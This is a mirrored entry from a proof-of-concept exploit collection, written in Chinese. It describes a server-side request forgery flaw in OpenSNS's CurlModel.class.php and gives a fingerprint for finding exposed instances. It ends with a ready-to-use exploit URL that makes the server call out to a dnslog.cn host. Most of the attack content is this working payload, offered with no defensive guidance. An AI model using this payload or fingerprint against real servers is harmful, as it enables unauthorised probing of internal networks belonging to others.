mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-06 11:27:43 +00:00
35 lines
646 B
Markdown
35 lines
646 B
Markdown
|
# OpenSNS CurlModel.class.php SSRF漏洞
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
OpenSNS CurlModel.class.php文件中curl方法存在SSRF漏洞，通过漏洞攻击者可以探测内网信息
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
OpenSNS
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 网络测绘
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
icon_hash="1167011145"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
登录页面如下
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
存在漏洞的文件为 `Application/Admin/Model/CurlModel.class.php`
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
构造POC
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
/?s=weibo/share/shareBox&query=app=Admin%26model=Curl%26method=curl%26id=http://92aq2z.dnslog.cn
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|